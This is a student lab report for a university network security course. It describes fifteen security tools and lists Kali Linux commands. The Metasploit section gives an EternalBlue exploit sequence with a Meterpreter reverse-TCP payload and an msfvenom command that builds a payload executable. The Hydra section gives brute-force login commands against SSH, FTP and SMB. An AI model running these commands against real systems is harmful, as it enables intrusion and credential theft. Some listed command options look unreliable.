
VIT®

Vellore Institute of Technology

(Deemed to be University under section 3 of UGC Act, 1956)

**CRYPTOGRAPHY AND NETWORK SECURITY**
**LAB - 1**

**Name of the Student:** SreeDananjay S
**Registration Number:** 21BAI1807
**Slot:** L31+L32
**Course Code:** BCSE309P
**Programme:** Bachelor of Technology in Computer Science and Engineering with Specialization in Artificial Intelligence and Machine Learning
**School:** School of Computer Science and Engineering(SCOPE)

## Q1) BRIEF ABOUT 15 CYBER SECURITY TOOLS

### 1. Wireshark

**Category: Network Protocol Analyzer**

**Description:** Wireshark is a powerful open-source network analysis tool that captures and analyzes the traffic on a network in real-time. It helps security professionals identify network issues, analyze traffic, and detect suspicious activity. It supports hundreds of protocols and runs on various platforms like Windows, macOS, and Linux.

### 2. Nmap (Network Mapper)

**Category: Network Scanning Tool**

**Description:** Nmap is an open-source network scanner used for network discovery and security auditing. It helps identify devices on a network, discover open ports, services, operating systems, and potential vulnerabilities. It's widely used for network inventory, managing service upgrade schedules, and monitoring host or service uptime.

### 3. Metasploit Framework

**Category: Penetration Testing Tool**

**Description:** Metasploit is an open-source penetration testing platform that enables security professionals to find and exploit vulnerabilities in systems. It includes a vast database of exploits, payloads, and auxiliary modules, making it a powerful tool for both offensive security experts and defenders seeking to understand potential attack vectors.

### 4. Kali Linux

**Category: Penetration Testing and Security Auditing OS**

**Description:** Kali Linux is a specialized Linux distribution tailored for penetration testing and security auditing. It comes pre-installed with hundreds of tools for tasks like network scanning, vulnerability analysis, digital forensics, and reverse engineering. Its comprehensive toolset makes it a preferred choice for ethical hackers and security professionals.

### 5. Burp Suite

**Category: Web Application Security Testing**

**Description:** Burp Suite is a popular platform for performing security testing of web applications. It provides tools for scanning web applications for vulnerabilities, intercepting and modifying HTTP/S traffic, and automating repetitive testing tasks. The

suite includes features like a spider, scanner, and intruder for thorough web assessments.

**6. Snort**

**Category: Intrusion Detection System (IDS)**

**Description:** Snort is an open-source network intrusion detection and prevention system (IDS/IPS). It analyzes network traffic in real-time, detecting suspicious patterns that indicate potential attacks or policy violations. With its robust rule-based system, Snort can detect various forms of attacks, including buffer overflows, port scans, and more.

**7. Nessus**

**Category: Vulnerability Scanner**

**Description:** Nessus is a widely-used vulnerability scanner that helps identify security weaknesses in systems, applications, and networks. It provides comprehensive assessments, generating detailed reports with prioritized remediation steps. Nessus is used by both security professionals and IT administrators to maintain secure environments.

**8. Maltego**

**Category: Open-source Intelligence (OSINT) and Forensics**

**Description:** Maltego is a tool for collecting and analyzing open-source intelligence and forensics. It helps users visualize connections and relationships between data from various sources, such as social media, public databases, and the dark web. This makes it invaluable for threat intelligence gathering and digital investigations.

**9. Aircrack-ng**

**Category: Wireless Network Security**

**Description:** Aircrack-ng is a suite of tools designed for auditing wireless networks. It enables security professionals to capture and analyze wireless traffic, crack WEP/WPA/WPA2 keys, and assess the security posture of Wi-Fi networks. The suite includes tools for packet capture, replay attacks, and cracking.

**10. OpenVAS (Open Vulnerability Assessment System)**

**Category: Vulnerability Management**

**Description:** OpenVAS is an open-source vulnerability scanner that identifies security issues in systems and networks. It offers a comprehensive suite of tools for vulnerability

assessment, including a database of known vulnerabilities, making it useful for risk management and compliance.

**11. Splunk**

**Category: Security Information and Event Management (SIEM)**

**Description:** Splunk is a powerful SIEM tool used for collecting, analyzing, and visualizing machine-generated data from various sources. It enables security teams to monitor real-time security threats, investigate incidents, and respond swiftly. Its robust analytics capabilities aid in detecting anomalies and understanding attack patterns.

**12. Fail2Ban**

**Category: Intrusion Prevention System (IPS)**

**Description:** Fail2Ban is a security tool that protects servers from brute-force attacks. It monitors log files for failed login attempts and can automatically block IP addresses that exhibit suspicious behavior. This helps reduce unauthorized access and mitigate attack vectors like SSH brute force attempts.

**13. OSSEC**

**Category: Host-based Intrusion Detection System (HIDS)**

**Description:** OSSEC is an open-source host-based intrusion detection system that monitors system activity for signs of malicious behavior. It provides log analysis, file integrity checking, and rootkit detection, making it a comprehensive tool for detecting and responding to security incidents on individual hosts.

**14. John the Ripper**

**Category: Password Cracking Tool**

**Description:** John the Ripper is an open-source password-cracking tool designed to identify weak passwords. It uses various techniques, including dictionary attacks, brute force, and custom algorithms, to crack password hashes. It's commonly used in penetration testing and security assessments to evaluate password strength.

**15. Tcpdump**

**Category: Packet Analyzer**

**Description:** Tcpdump is a command-line packet analyzer used to capture and analyze network traffic. It allows security professionals to inspect the contents of network packets, troubleshoot network issues, and detect suspicious activity. Its lightweight design makes it suitable for real-time analysis on various operating systems.

## Q2) LIST OUT KALI LINUX COMMANDS FOR CYBER RELATED OPERATIONS

1) **Nmap:** Nmap is a versatile tool used for network discovery and security auditing. It allows users to scan hosts, discover open ports, detect operating systems, and identify services running on a network.

   Command: nmap [options] <target>
   Options:
   -sS: TCP SYN scan (stealthy).
   -sT: TCP connect scan (default).
   -sU: UDP scan.
   -A: Enable OS detection, version detection, script scanning, and traceroute.
   -p <port>: Specify ports to scan (e.g., -p 80,443 for HTTP/HTTPS).
   -p-: Scan all 65535 ports.
   -sV: Service version detection.
   -O: OS detection.
   -T<0-5>: Timing template (e.g., -T4 for faster scanning).
   -Pn: Treat all hosts as online (no ping).
   --script <script>: Run a specific NSE script (e.g., --script vuln).

2) **Wireshark:** Wireshark is a network protocol analyzer that captures and inspects the data traveling back and forth on a network in real-time. It is often used for network troubleshooting and analysis.

   Command: wireshark [options].
   Options:
   wireshark: Opens the Wireshark GUI.
   tshark: Command-line version of Wireshark.

3) **Metasploit:** Metasploit is a widely used penetration testing framework that provides information about security vulnerabilities and aids in penetration testing and IDS signature development.

   Command: msfconsole [options]
   Options: msfconsole: Launches the Metasploit console.
   search <keyword>: Searches for exploits or modules related to a keyword.
   use <exploit>: Loads a specific exploit module.
   show options: Displays available options for the loaded module.

set <option> <value>: Sets a specific option's value.
exploit: Executes the exploit.
sessions -l: Lists active sessions.
sessions -i <id>: Interacts with a specific session.

## 3) BRIEF ABOUT 5 CYBERSECURITY TOOLS WHICH IS A PART OF KALI LINUX (Mention options available with every tool )

1) Nmap is a powerful open-source network scanning tool used to discover hosts and services on a computer network. It is a versatile tool used for network inventory, managing service upgrade schedules, and monitoring host or service uptime.

**Key Features:**

- Host Discovery: Identifies hosts on a network.
- Port Scanning: Scans open ports on target hosts.
- Service and Version Detection: Identifies services running on open ports and determines their versions.
- Operating System Detection: Identifies the OS running on the target hosts.
- Vulnerability Detection: Identifies vulnerabilities using Nmap Scripting Engine (NSE).

Example Commands:

- Basic scan of a single target nmap 192.168.1.1
- Aggressive scan with detailed output nmap -A -v 192.168.1.1
- Fast scan of a range of IP addresses nmap -F 192.168.1.0/24
- Scan and save output in XML format nmap -oX output.xml 192.168.1.1
- Scan with custom NSE script nmap --script http-enum 192.168.1.1

2) Metasploit Framework

Metasploit is a leading penetration testing framework that makes discovering, exploiting, and validating vulnerabilities simple. It is an essential tool for ethical hackers and cybersecurity professionals.

**Key Features:**

- Exploits: Predefined code to take advantage of specific vulnerabilities.
- Payloads: Code that is executed on the target machine after exploitation.

- Auxiliary Modules: Tools that perform additional tasks such as scanning.
- Encoders: Encode payloads to avoid detection by security systems.
- Nop Generators: Create no-operation instructions to pad payloads.

Example Commands:

- # Launch msfconsole
  msfconsole

- # Search for exploits related to Apache
  search apache

- # Use a specific exploit
  use exploit/windows/smb/ms17_010_eternalblue

- # Set remote host IP address
  set RHOST 192.168.1.10

- # Set payload for the exploit
  set PAYLOAD windows/meterpreter/reverse_tcp

- # Set local host for reverse connection
  set LHOST 192.168.1.5

- # Run the exploit
  exploit

- # List active sessions
  sessions -l

- # Interact with a session
  sessions -i 1

- # Generate a payload
  msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o payload.exe

3) Wireshark

Wireshark is a powerful network protocol analyzer that captures and inspects data packets traveling across a network. It is an essential tool for network troubleshooting and security analysis.

**Key Features:**

- Live Capture: Captures live network traffic from various interfaces.
- Packet Analysis: Detailed analysis of network protocols, including TCP/IP, HTTP, DNS, etc.
- Filters: Apply display and capture filters to focus on specific traffic.
- Statistics: Provides various statistics and summaries about network traffic.
- Decryption: Supports decrypting SSL/TLS traffic with appropriate keys.

Example Commands:

```
# Launch Wireshark GUI
wireshark

# Capture packets on eth0 and save to file
wireshark -i eth0 -w capture.pcap

# Open a saved capture file
wireshark -r capture.pcap

# Apply display filter for HTTP traffic
wireshark -Y "http"

# Capture with tshark and save output
tshark -i eth0 -w capture.pcap
```

# Use display filter with tshark

tshark -r capture.pcap -Y "ip.addr == 192.168.1.1"

# Show statistics summary with tshark

tshark -r capture.pcap -q -z io,stat,0

# Capture only specific packets with a filter

tshark -i eth0 -f "tcp port 80" -w http_traffic.pcap

4) Hydra

Hydra is a fast and flexible network login cracker that supports numerous protocols to perform brute-force attacks. It's used to test password strength on various services.

**Key Features:**

- Multi-Protocol Support: Supports a wide range of protocols, including HTTP, FTP, SSH, SMB, and more.
- Parallel Connections: Supports parallel connections for faster brute-forcing.
- Customizable Options: Allows specifying custom usernames and password lists.
- Resume Capabilities: Can resume attacks from a specific point.

Example Commands:

# Brute force SSH with a single username

hydra -l admin -P rockyou.txt ssh://192.168.1.10

# Brute force FTP with a list of usernames

hydra -L users.txt -P passwords.txt ftp://192.168.1.10

# Specify custom port and verbose output

hydra -s 2222 -vV -l admin -P rockyou.txt ssh://192.168.1.10

# Resume a previous attack

hydra -R

# Use multiple threads for faster attack

hydra -t 8 -l admin -P passwords.txt http-get://192.168.1.10

# Attack SMB service

hydra -L users.txt -P passlist.txt smb://192.168.1.10

5) Burp Suite

Burp Suite is a comprehensive platform for web application security testing. It offers a wide range of tools to support the entire testing process, from initial mapping and analysis to finding and exploiting vulnerabilities.

**Key Features:**

- Intercepting Proxy: Allows interception and modification of HTTP/S requests and responses.
- Spider: Automatically crawls web applications to discover content and functionality.
- Scanner: Automatically scans web applications for vulnerabilities.
- Intruder: Performs automated attacks on web applications.
- Repeater: Allows manual testing and manipulation of HTTP requests.
- Extender: Provides extensions to enhance Burp's capabilities.

Example Commands:

# Launch Burp Suite

burpsuite

# Start Burp Suite with a specific configuration file

burpsuite -c myconfig.json

# Run Burp Suite in headless mode for automated tasks

burpsuite --headless

# Disable automatic updates for extensions

burpsuite --disable-extensions-updates

# Set a logging directory for Burp Suite

burpsuite --logging-dir=/var/log/burpsuite

**Result:** Thus, the above commands were all verified and executed properly in the terminal.